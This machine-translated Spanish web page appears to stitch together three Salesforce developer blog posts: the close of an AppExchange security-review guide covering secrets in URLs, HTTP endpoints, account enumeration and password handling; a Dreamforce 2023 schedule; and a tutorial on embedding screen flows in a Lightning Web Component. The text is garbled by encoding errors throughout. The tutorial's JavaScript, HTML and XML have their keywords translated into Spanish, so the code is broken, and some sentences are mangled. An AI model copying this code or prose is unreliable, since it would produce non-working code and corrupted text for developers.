Este t茅rmino se refiere espec铆ficamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

驴C贸mo puedo abordar esto?

Tiene dos opciones, seg煤n su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminaci贸n de componentes administrados para su paquete u organizaci贸n de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectar铆a la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (aseg煤rese de mencionar esto espec铆ficamente en un mensaje falso). documento positivo sobre su presentaci贸n).
  2. Si tiene que utilizar un componente de canal LMS, aseg煤rese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice 煤nicamente el componente reci茅n creado en el c贸digo.

M谩s informaci贸n est谩 disponible en la documentaci贸n .

#16 鈥 Informaci贸n confidencial en URL

驴Qu茅 es esto?

Esto se refiere a una situaci贸n en la que se env铆a informaci贸n confidencial de larga duraci贸n en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contrase帽a). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de b煤squeda indexan URL y almacenan inadvertidamente informaci贸n confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, cach茅 del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Informaci贸n de URL enviada a aplicaciones web de terceros a trav茅s del encabezado de referencia o expuesta a scripts de terceros en la p谩gina

驴C贸mo puedo abordar esto?

Burp Suite puede ayudarle aqu铆 para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicaci贸n para detectar cualquier caso en el que se env铆en secretos a largo plazo a trav茅s de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su m茅todo de autenticaci贸n (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores m茅todos de almacenamiento de secretos.

La gu铆a OWASP es un gran recurso a seguir.

#17 鈥 Punto final inseguro

驴Qu茅 es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

驴C贸mo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma a煤n m谩s segura de verificar esto es buscar en el c贸digo fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco m谩s sobre c贸mo esto mejora la seguridad en esta p谩gina de OWASP .

#18 鈥 Enumeraci贸n de nombre de usuario o correo electr贸nico

驴Qu茅 es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situaci贸n en la que los atacantes pueden enumerar listas de nombres de usuario o correos electr贸nicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesi贸n, funciones de olvido de contrase帽a o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contrase帽as reutilizadas de bases de datos comprometidas y fugas o volcados de contrase帽as.

驴C贸mo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperaci贸n de contrase帽as, intentos de inicio de sesi贸n, etc., y aseg煤rese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electr贸nico ingresado es v谩lido.

Por ejemplo, muchos sitios incluyen un mensaje gen茅rico, como: "Si dicho usuario existe, recibir谩 un correo electr贸nico con un restablecimiento de contrase帽a". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electr贸nico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeraci贸n por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, tambi茅n puede revisar sus funcionalidades de inicio de sesi贸n manualmente.

OWASP tiene una gu铆a 煤til para evitar la enumeraci贸n de correos electr贸nicos y nombres de usuarios.

#19 鈥 Gesti贸n de contrase帽as

驴Qu茅 es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener pol铆ticas de contrase帽as problem谩ticas, como por ejemplo:

  • Permitir la reutilizaci贸n de la misma contrase帽a cuando es necesario restablecerla
  • No solicitar la contrase帽a anterior cuando se permite a los usuarios establecer una nueva contrase帽a
  • Para restablecer la contrase帽a, enviar una contrase帽a temporal al correo electr贸nico de un usuario en texto sin formato
  • Dejar contrase帽as predeterminadas en los usuarios ra铆z del servidor o de la base de datos

驴C贸mo puedo abordar esto?

Adem谩s de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticaci贸n de OWASP para obtener algunas pautas sobre c贸mo establecer pol铆ticas de contrase帽as seguras:

Burp Suite tambi茅n es muy 煤til para identificar problemas relacionados con las contrase帽as (por ejemplo, puede usarlo para intentar forzar sus p谩ginas de inicio de sesi贸n).

#20 鈥 Eco de contrase帽a

驴Qu茅 es esto?

Esto es un poco diferente del problema de administraci贸n de contrase帽as descrito anteriormente. Un eco de contrase帽a se refiere a situaciones en las que las contrase帽as se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia p谩gina de configuraci贸n) o en llamadas API/respuestas JSON.

驴C贸mo puedo abordar esto?

Aseg煤rese de que su contrase帽a no se revele ni se transmita en texto sin formato en ninguna parte de su aplicaci贸n. Aseg煤rese de que en las p谩ginas de configuraci贸n u otras p谩ginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el bot贸n si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contrase帽as de OWASP para obtener m谩s informaci贸n.

Burp Suite , o quiz谩s Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su soluci贸n incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organizaci贸n. Burp Suite es una de las mejores herramientas de seguridad del mercado y tambi茅n la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prep谩rate para invertir m谩s tiempo en t茅rminos de revisi贸n manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security tambi茅n utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el c贸digo fuente del paquete Salesforce. Tambi茅n utilizan la base de datos CVE y el esc谩ner Qualys SSL en la mayor铆a de los env铆os.

Si tiene problemas de seguridad y necesita orientaci贸n t茅cnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a trav茅s del Portal de seguridad para socios .

Por 煤ltimo, no podemos recomendar lo suficiente Trailhead en t茅rminos de preparaci贸n para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y tambi茅n acabamos de renovar el m贸dulo Revisi贸n de seguridad de AppExchange , que analiza el proceso de env铆o de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista t茅cnica en Salesforce. Ha estado trabajando con el equipo de revisi贸n de seguridad de AppExchange en Salesforce desde 2017, y su funci贸n actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Seguir leyendo

La gu铆a para desarrolladores de Salesforce para Dreamforce 2023 鈽侊笍

La gu铆a para desarrolladores de Salesforce para Dreamforce 2023 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

La gu铆a del desarrollador de Salesforce para Dreamforce 2023 | Blog de desarrolladores de Salesforce

隆Llamando a todos los desarrolladores de Salesforce! 驴Est谩s listo para experimentar la magia de AI + Datos + CRM en Dreamforce 2023? Hemos preparado una experiencia repleta de tres d铆as como ninguna otra, as铆 que prep谩rate para aprender, conectarte, divertirte y retribuir rodeado de compa帽eros innovadores en la conferencia de tecnolog铆a m谩s grande del mundo.

Sabemos que est谩 contando ansiosamente los d铆as hasta que comience Dreamforce, as铆 que siga leyendo para comenzar a planificar su experiencia Dreamforce perfecta, desde conferencias magistrales hasta sesiones en Developer Track y demostraciones pr谩cticas en acci贸n en Developer Grove.

Vea la 煤ltima tecnolog铆a en la conferencia magistral sobre el futuro del desarrollo

AI + Data + CRM est谩n cambiando r谩pidamente el futuro de los negocios y los desarrolladores est谩n a la vanguardia. 脷nase al presidente y director de ingenier铆a, Srini Tallapragada, y a invitados especiales para aprender todo sobre el futuro del desarrollo y c贸mo puede aprovechar la IA en su trabajo.

Si asistir谩 a Dreamforce en persona, aseg煤rese de agregar la conferencia magistral a su agenda . Si lo seguir谩 desde casa, vea la conferencia magistral completa mientras se transmite en vivo en Salesforce+ .

馃搮 Marque sus calendarios: jueves 14 de septiembre, de 1:30 a 2:20 p. m., hora del Pac铆fico
馃帳 Oradores destacados: Srini Tallapragada, Alba Rivas, Adam White, Kat Holmes, Chris Peterson, Avanthika Ramesh
A帽adir a tu agenda

Descubra los aspectos m谩s destacados de la versi贸n para desarrolladores en Developer Preview Live

Eche un primer vistazo a las principales funciones, herramientas e innovaciones para desarrolladores de la versi贸n Winter '24. Vea demostraciones en vivo de interesantes innovaciones de productos y haga preguntas a nuestros expertos en productos. Hay tantas innovaciones nuevas para los desarrolladores en esta versi贸n que 隆no querr谩s perderte esto!

馃搮 Marque sus calendarios: jueves 14 de septiembre, de 2:30 a 3:30 p. m., hora del Pac铆fico
馃帳 Oradores destacados: Aditya Naag Topalli, Mohith Shrivastava, Ewald Hofman, Danielle Larregui, Greg Whitworth, Akshata Sawant, Sarah Welker
A帽adir a tu agenda

Mejora tus habilidades en la ruta de desarrollador

Developer Track ofrece una combinaci贸n de sesiones de teatro de 20 minutos en Developer Theatre y sesiones de trabajo de 40 minutos. Espere asimilar las mejores pr谩cticas, consejos y mucha inspiraci贸n. 隆Y hay algo para todos, sin importar los temas que te apasionen! Tenemos sesiones para todos los niveles (principiante, intermedio, avanzado) en todas las funciones y temas: IA generativa, nube de datos, DevOps Center, MuleSoft, Code Builder, Apex, AppExchange, Lightning Web Components, Slack, seguridad, accesibilidad y m谩s.

馃搷 Las sesiones de calentamiento se ubicar谩n en todo Trailblazer Forest: en Developer Theatre junto a Developer Grove, Redwood Theatre, Einstein Theatre, Data Cloud Theatre y Olympic Theatre. Las sesiones de trabajo de Developer Track se llevar谩n a cabo en el segundo y tercer piso de Moscone West. Aseg煤rese de consultar su agenda para conocer la ubicaci贸n exacta de las habitaciones.

Para encontrar estas sesiones en el cat谩logo de sesiones de Dreamforce , seleccione Funci贸n en la navegaci贸n izquierda y marque Desarrollador para ver todas las sesiones etiquetadas para desarrolladores.

Algunas sesiones imperdibles para agregar a tu agenda 鉁忥笍

Descubra el poder de Einstein GPT para desarrolladores
Qu茅 esperar: La IA generativa ha arrasado en el mundo de la tecnolog铆a. Conozca las capacidades m谩s recientes de Einstein GPT y c贸mo los desarrolladores pueden utilizar la tecnolog铆a para crear sus propias aplicaciones impulsadas por IA en Salesforce.
Oradores destacados: Stephan Chandler-Garc铆a, Ananya Jha
A帽ade esta sesi贸n a tu agenda

Comprensi贸n de la nube de datos para desarrolladores de Salesforce
Qu茅 esperar: aprenda qu茅 significa Data Cloud para los desarrolladores, c贸mo se exponen sus artefactos como metadatos de plataforma familiares y c贸mo ingerir e interactuar con sus datos mediante SQL, Apex, Flows, API y SDK.
Oradores destacados: Aditya Naag Topalli, Danielle Larregui
A帽ade esta sesi贸n a tu agenda

驴Quieres un mejor c贸digo? Einstein GPT y Code Analyzer pueden ayudar
Qu茅 esperar: Impulse el desarrollo de Salesforce con el d煤o din谩mico de Einstein GPT para desarrolladores y Code Analyzer. Aprenda c贸mo optimizar la generaci贸n y validaci贸n de c贸digo directamente desde las experiencias IDE.
Oradores destacados: Gordon Bockus, Vivek Chawla
A帽ade esta sesi贸n a tu agenda

Componentes web Lightning: novedades y novedades
Qu茅 esperar: aprenda c贸mo puede utilizar Lightning Web Components para hacer que el desarrollo en Salesforce sea m谩s f谩cil y eficiente. Vea las 煤ltimas funciones disponibles para LWC y lo que se avecina en la hoja de ruta.
Oradores destacados: Alicia Teo, Alice Oh, Leo Balter
A帽ade esta sesi贸n a tu agenda

Hoja de ruta de Apex: novedades y novedades
Qu茅 esperar: Los gerentes de producto de Salesforce profundizar谩n en las funciones lanzadas recientemente y en el futuro en la hoja de ruta de Apex, incluido Einstein GPT para desarrolladores.
Oradores destacados: Daniel Ballinger, Chris Peterson
A帽ade esta sesi贸n a tu agenda

Aumente la productividad de los desarrolladores con GraphQL e IA generativa
Qu茅 esperar: Sum茅rgete en la nueva API GraphQL, donde las consultas y mutaciones se pueden combinar en una sola solicitud, ganando rendimiento y flexibilidad. Eche un vistazo a c贸mo redactar consultas con IA generativa.
Oradores destacados: Juli谩n Duque, Ben Sklar
A帽ade esta sesi贸n a tu agenda

Desarrollar componentes web Lightning para dispositivos m贸viles sin conexi贸n
Qu茅 esperar: 驴 Usuarios m贸viles sin conexi贸n? Aprenda c贸mo habilitarlos con componentes web Lightning personalizados para mostrar e incluso actualizar registros mientras un dispositivo m贸vil est谩 desconectado de Internet.
Oradora destacada: Angela Le
A帽ade esta sesi贸n a tu agenda

Gestionar dependencias y conflictos en el Centro DevOps
Qu茅 esperar: profundice en c贸mo los desarrolladores utilizan DevOps Center para gestionar el ciclo de vida del desarrollo de software. Comience con DevOps Center y aprenda a solucionar los problemas m谩s comunes, como la resoluci贸n de conflictos.
Oradores destacados: Gilson Canario, Francisco Sammartino
A帽ade esta sesi贸n a tu agenda

Cinco cosas que los desarrolladores de Salesforce deben saber sobre MuleSoft
Qu茅 esperar: 脷nase a esta sesi贸n para conocer los conceptos clave de MuleSoft que necesita saber como desarrollador de Salesforce. Nos centraremos en las mejores pr谩cticas, consejos y trucos, antipatrones y m谩s con ejemplos en vivo.
Oradores destacados: Gaurav Kheterpal, Akshata Sawant
A帽ade esta sesi贸n a tu agenda

Pon a prueba tus habilidades en Developer Grove

Developer Grove, ubicado en Trailhead Forest, es el hogar de los desarrolladores durante Dreamforce y el lugar para comenzar su viaje de aprendizaje de tres d铆as .

Nuestra principal atracci贸n este a帽o es una competencia estilo arcade que pone a prueba tus habilidades de ingenier铆a en IA. 隆Completa tantos desaf铆os como puedas en el menor tiempo posible para que tu nombre aparezca en la tabla de clasificaci贸n y puedas presumir de ello!

Visite la estaci贸n de demostraci贸n que cubre nuestras aplicaciones de muestra y recetas de c贸digo, y descubra c贸mo puede utilizarlas en su propio trabajo. Cada estaci贸n contar谩 con empleados de Salesforce que saben lo que hacen y les encanta ayudar a otros a aprender.

鉂桸ovedad de este a帽o: Estaci贸n de consultas 1:1 en Developer Grove. Los desarrolladores de Salesforce pueden registrarse para una consulta individual de 20 minutos con profesionales expertos de Salesforce. Para reservar una consulta individual, visite esta p谩gina y seleccione el tema "Desarrollador de Salesforce". Cuando haya terminado de registrarse, se le enviar谩 una confirmaci贸n por correo electr贸nico y estar谩 disponible en la aplicaci贸n Salesforce Events; desc谩rguela ahora en App Store o Google Play Store .

Otras cosas a tener en cuenta 馃憖

Conferencia principal de Dreamforce

脷nase al director ejecutivo de Salesforce, Marc Benioff, junto con invitados especiales en el discurso principal de Dreamforce para escuchar todo sobre nuestras innovaciones m谩s recientes.

馃搮 Marque sus calendarios: martes 12 de septiembre, de 10 a. m. a 12 p. m., hora del Pac铆fico
A帽ade la keynote a tu agenda

Fiel al foro principal de clientes

脷nase al cofundador y director de tecnolog铆a Parker Harris en el foro anual de clientes True to the Core. Escuche a los l铆deres de productos compartir los aspectos m谩s destacados de nuestra hoja de ruta de productos. Si nunca ha asistido, esta es una excelente sesi贸n para que los desarrolladores pregunten y escuchen las respuestas de nuestros gerentes de producto. 隆Una cosa que seguir谩 siendo 鈥渃entral鈥 en True to the Core es que habr谩 muchas preguntas!

馃搮 Marque sus calendarios: jueves 14 de septiembre, de 11:30 a. m. a 12:30 p. m., hora del Pac铆fico
A帽ade esta sesi贸n a tu agenda

Conferencia magistral de TI: cree su cliente 360 con IA confiable

Aprenda c贸mo resolver sus desaf铆os de TI m谩s dif铆ciles con IA + Datos + CRM. Escuche c贸mo los pioneros utilizan las 煤ltimas innovaciones de plataforma, nube de datos y MuleSoft para crear entornos de TI de pr贸xima generaci贸n, con potentes capacidades de IA generativa integradas.

馃搮 Marque sus calendarios: martes 12 de septiembre, de 2:30 a 3:20 p. m., hora del Pac铆fico
A帽ade esta sesi贸n a tu agenda

Celebraci贸n pionera de la noche 1

Recuperaremos la diversi贸n la primera noche de Dreamforce. 脷nase a nosotros en Trailblazer Forest de 5 a 6:30 p. m. el martes 12 de septiembre en Admin Meadow, Developer Grove y Community Cove para actividades sociales, comidas ligeras y bebidas.

Pistas de administrador y arquitecto

驴Busca diversificar su agenda en Dreamforce este a帽o? Consulte todas las sesiones de c贸digo y de c贸digo bajo en la secci贸n de administraci贸n y en la secci贸n de arquitecto . Para obtener m谩s informaci贸n sobre cada uno, lea la Gu铆a del administrador de Dreamforce 2023 .

Obtenga a煤n m谩s contenido de Dreamforce 2023 en Salesforce+

驴No puedes asistir a Dreamforce en persona? Durante los tres d铆as, las conferencias magistrales y las sesiones seleccionadas se transmitir谩n en vivo en Salesforce+. Habr谩 dos canales y 72 horas de transmisi贸n en vivo. Adem谩s de la experiencia en vivo, m谩s de 120 episodios bajo demanda estar谩n disponibles para verlos despu茅s de que finalice Dreamforce en cualquier momento y lugar.

Reg铆strese en Salesforce+ ahora para obtener acceso a todo el contenido exclusivo.

Empieza ahora

隆Dreamforce 2023 estar谩 aqu铆 antes de que te des cuenta! Siga estos pasos para prepararse:

  1. Reg铆strese para asistir a Dreamforce si a煤n no lo ha hecho.
  2. Agregue el discurso de apertura sobre el futuro del desarrollo y la vista previa de la versi贸n para desarrolladores a su agenda.
  3. Complete Road to Dreamforce 2023 Trailhead Quest antes de las 11:59 p. m. (hora del Pac铆fico) del 11 de septiembre de 2023 para desbloquear una insignia comunitaria exclusiva y participar para tener la oportunidad de ganar* una de las 25 codiciadas sudaderas con capucha Trailblazer o una de las 50 camisetas Dreamforce.* Se aplican las reglas oficiales . Consulte la p谩gina Trailhead Quests para obtener todos los detalles.
  4. Descargue la aplicaci贸n Salesforce Events en App Store o Google Play Store para realizar un seguimiento de todo lo que hay en su agenda en un lugar de f谩cil acceso.
  5. Con茅ctese con sus pares en el grupo comunitario Salesforce Developers Trailblazer.
  6. Si no asiste en persona, aseg煤rese de registrarse para la experiencia Salesforce+.
  7. Seguir @salesforcedevs en Twitter y LinkedIn para obtener m谩s actualizaciones.

Sobre el Autor

Kaitlin Benz es especialista s茅nior en marketing de desarrolladores en Salesforce. Lo que m谩s le apasiona es la narraci贸n de historias, los podcasts y la comida vegana. Encu茅ntrala en LinkedIn .

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Seguir leyendo

Incrustar flujos de pantalla en el componente web Lightning

Incrustar flujos de pantalla en el componente web Lightning

脷ltima actualizaci贸n el 19 de julio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo incrusta un flujo de pantalla dentro de un componente web Lightning?

Objetivos:

Despu茅s de leer este blog, podr谩:

  • Incruste el flujo de pantalla dentro de un componente web Lightning
  • Aplicar representaci贸n condicional en el componente web Lightning
  • Use uiRecordApi para obtener el valor del campo del registro sin usar la clase de Apex
  • y mucho m谩s

En el pasado, escrib铆 algunos art铆culos sobre Lightning Web Component . 驴Por qu茅 no echarles un vistazo mientras est谩s en ello?

  1. Pasar datos del componente web Lightning al flujo de pantalla
  2. Uso del componente web Lightning para mostrar un banner de alerta

Janel Parrish trabaja como desarrollador junior en Gurukul on Cloud (GoC). Se le ha encomendado un requisito comercial para desarrollar un componente LWC con las siguientes funcionalidades:

  1. Deber铆a mostrar un flujo de pantalla llamado 'parterFlow' cuando el tipo de cuenta es 'Socio tecnol贸gico'.
  2. Deber铆a presentar un flujo de pantalla llamado 'customerFlow' cuando el tipo de cuenta es 'Cliente – Directo'.
  3. El componente LWC debe dise帽arse con la capacidad de incorporarse en la p谩gina de registro de rayos de la cuenta.

Enfoque de Campe贸n de Automatizaci贸n (I-do):

Utilizaremos el componente lightning-flow para incrustar un flujo de pantalla en el componente lightning web. Para crear un flujo en el componente Lightning Web, establezca el atributo flowApiName del componente Lightning-Flow en el nombre de flujo que desea usar. El componente incluye botones de navegaci贸n (Atr谩s, Siguiente, Pausa y Finalizar) para que los usuarios naveguen dentro del flujo.

Tambi茅n usaremos un adaptador de cable uiRecordApi que nos permite interactuar con registros de Salesforce desde los componentes del componente web lightning sin escribir c贸digo Apex. Esta API le permite realizar operaciones como recuperar los datos de un registro o los detalles del dise帽o, crear, eliminar o actualizar un registro, etc. Estos son algunos de los m茅todos clave proporcionados por uiRecordApi :

  1. getRecord : este m茅todo le permite obtener datos de registro.
  2. getRecordCreateDefaults : este m茅todo proporciona los valores predeterminados que utiliza Salesforce al crear un nuevo registro.
  3. getRecordUi : obtiene los detalles de dise帽o de un registro, como qu茅 campos se muestran, c贸mo se muestran, etc.
  4. createRecord : este m茅todo le permite crear un nuevo registro.
  5. deleteRecord 鈥 Le permite eliminar un registro.
  6. updateRecord : te permite actualizar un registro existente.

En el archivo de configuraci贸n XML, usaremos lightning__RecordPage como destino para permitir que el componente web de iluminaci贸n se use en una p谩gina de registro en Lightning App Builder.

Pr谩ctica guiada (nosotros hacemos):

Hay 3 pasos para resolver el requisito comercial de Janel utilizando Lightning Web Component y Screen Flow . Debemos:

  1. Cree un ScreenFlow (customerFlow) para manejar la solicitud del cliente
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una variable de texto para almacenar el nombre de la cuenta
    3. Agregue una pantalla para mostrar el nombre de la cuenta desde una variable de texto
  2. Cree un ScreenFlow (partnerFlow) para manejar la solicitud del cliente
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una variable de texto para almacenar el nombre de la cuenta
    3. Agregue una pantalla para mostrar el nombre de la cuenta desde una variable de texto
  3. Cree un componente web rel谩mpago para mostrar los diferentes flujos de pantalla seg煤n el tipo de cuenta

Paso 1.1: Definir propiedades de flujo (customerFlow)

  1. Haga clic en Configuraci贸n .
  2. En el cuadro B煤squeda r谩pida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrir谩 el dise帽ador de flujo para usted.

Paso 1.2: agregue una variable de texto al nombre de la cuenta de la tienda

  1. En Caja de herramientas , seleccione Administrador y, a continuaci贸n, haga clic en Nuevo recurso para almacenar el nombre de la cuenta.
  2. Ingrese la siguiente informaci贸n :
    1. Tipo de recurso : Variable
    2. Nombre de API : nombre de cuenta
    3. Tipo de datos : Texto
    4. Valor predeterminado : {!$GlobalConstant.EmptyString}
    5. Comprobar disponible para entrada
    6. Comprobar disponible para la salida
  3. Haga clic en Listo.

Paso 1.3: agregue una pantalla para mostrar el nombre de la cuenta desde la variable de texto

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente informaci贸n :
    1. Ingrese la etiqueta, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Listo.

Al final, Janel's Flow se ver谩 como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versi贸n de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : customerFlow {!$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Paso 2.1: Definir propiedades de flujo (partnerFlow)

  1. Haga clic en Configuraci贸n .
  2. En el cuadro B煤squeda r谩pida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrir谩 el dise帽ador de flujo para usted.

Paso 2.2: agregue una variable de texto al nombre de la cuenta de la tienda

  1. En Caja de herramientas , seleccione Administrador y, a continuaci贸n, haga clic en Nuevo recurso para almacenar el nombre de la cuenta.
  2. Ingrese la siguiente informaci贸n :
    1. Tipo de recurso : Variable
    2. Nombre de API : nombre de cuenta
    3. Tipo de datos : Texto
    4. Valor predeterminado : {!$GlobalConstant.EmptyString}
    5. Comprobar disponible para entrada
    6. Comprobar disponible para la salida
  3. Haga clic en Listo.

Paso 2.3: agregue una pantalla para mostrar el nombre de la cuenta desde la variable de texto

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente informaci贸n :
    1. Ingrese la etiqueta, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Listo.

Al final, Janel's Flow se ver谩 como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versi贸n de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : flujo de socio { !$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Paso 3: cree un componente web Lightning para mostrar los diferentes flujos de pantalla seg煤n el tipo de cuenta

Debajo de la plantilla de componente web lightning, se muestra una tarjeta Lightning titulada Iniciar pedido . Dependiendo de si la propiedad isPartner o isCustomer es verdadera, se iniciar谩 y mostrar谩 el Lightning Flow correspondiente ("rakeshistomMVP__partnerFlow" o "rakeshistomMVP__customerFlow").

embedFlowToLWC.html

Utilizaremos el componente lightning-flow para incrustar un flujo de pantalla en el componente lightning web. Desglosemos el c贸digo:

  • En LWC, el archivo HTML de cada componente debe envolverse con una etiqueta <plantilla> .
  • <template if:true={isPartner}> y <template if:true={isCustomer}> : estas son plantillas condicionales que muestran contenido en funci贸n de la veracidad de las propiedades isPartner e isCustomer , respectivamente. El contenido dentro de estas plantillas solo se representar谩 si la condici贸n correspondiente es verdadera.

<plantilla> <div class="slds-m-alrededor_medio"> <lightning-card title="Iniciar pedido" icon-name="est谩ndar:pedidos"> <div class="slds-m-alrededor_medio"> <template if:true={esSocio}> <lightning-flow onstatuschange={handleStatusChange} flow-api-name="rakeshistomMVP__partnerFlow" flow-input-variables={inputVariables}></lightning-flow> </plantilla> <template if:true={esCliente}> <lightning-flow onstatuschange={handleStatusChange} flow-api-name="rakeshistomMVP__customerFlow" flow-input-variables={inputVariables}></lightning-flow> </plantilla> </div> </tarjeta-rel谩mpago> </div>
</plantilla>
embedFlowToLWC.js

Este c贸digo JavaScript de muestra usa el decorador @api para crear propiedades p煤blicas. Por ejemplo, recordId es una propiedad reactiva p煤blica que contiene el ID de la p谩gina de registro. Mientras que el decorador @wire lee los datos de Salesforce. getRecord es una funci贸n del m贸dulo lightning/uiRecordApi que recupera un registro. accountType y accountName se importan del esquema de Salesforce.

  • Las declaraciones de importaci贸n se utilizan para importar los m贸dulos y las dependencias necesarios. LightningElement es el componente b谩sico para crear componentes web Lightning.
  • account({ error, data }) es una funci贸n que maneja la respuesta de la llamada getRecord . Si hay un error, asigna el error a this.error . Si se devuelven datos, establece this.accountName en el nombre de la cuenta y establece isPartner o isCustomer en verdadero seg煤n el tipo de cuenta.
  • get inputVariables() es un m茅todo captador que devuelve una matriz de objetos, que representa variables de entrada para un flujo. En este caso, devuelve el nombre de la cuenta.

import { LightningElement, api, wire } de 'lwc';
importar { getRecord } desde 'lightning/uiRecordApi';
importar tipo de cuenta desde '@salesforce/schema/Account.Type';
importar nombre de cuenta desde '@salesforce/schema/Account.Name'; exportar la clase predeterminada FlowLauncher extiende LightningElement { @api recordId; nombre de la cuenta; esSocio = falso; esCliente = falso; @wire(getRecord, { recordId: '$recordId', campos: [nombre de cuenta, tipo de cuenta] }) cuenta ({ error, datos }) { si (error) { this.error = error; } m谩s si (datos) { this.accountName = data.fields.Name.value; if(data.fields.Type.value === 'Socio tecnol贸gico') { this.isPartner = verdadero; this.isCustomer = false; } else if(data.fields.Type.value === 'Cliente - Directo') { this.isCustomer = true; this.isPartner = false; } } } obtener variables de entrada () { devolver [ { nombre: 'nombre de cuenta', tipo: 'Cadena', valor: este.nombreDeCuenta } ]; } handleStatusChange(evento) { if(evento.detalle.estado === 'FINALIZADO') { //Acci贸n despu茅s de que un flujo haya terminado } }
}
embedFlowToLWC.js-meta.xml

El elemento isExposed se establece en verdadero, lo que hace que el componente est茅 disponible para su uso en herramientas como Lightning App Builder o Flow Builder.

El elemento de objetivos se usa para especificar d贸nde se puede usar su componente. En este caso, la etiqueta lightning__RecordPage significa que este componente est谩 dise帽ado para usarse en una p谩gina de registro en Lightning App Builder.



<?versi贸n xml=鈥1.0鈥 codificaci贸n=鈥漊TF-8鈥?>
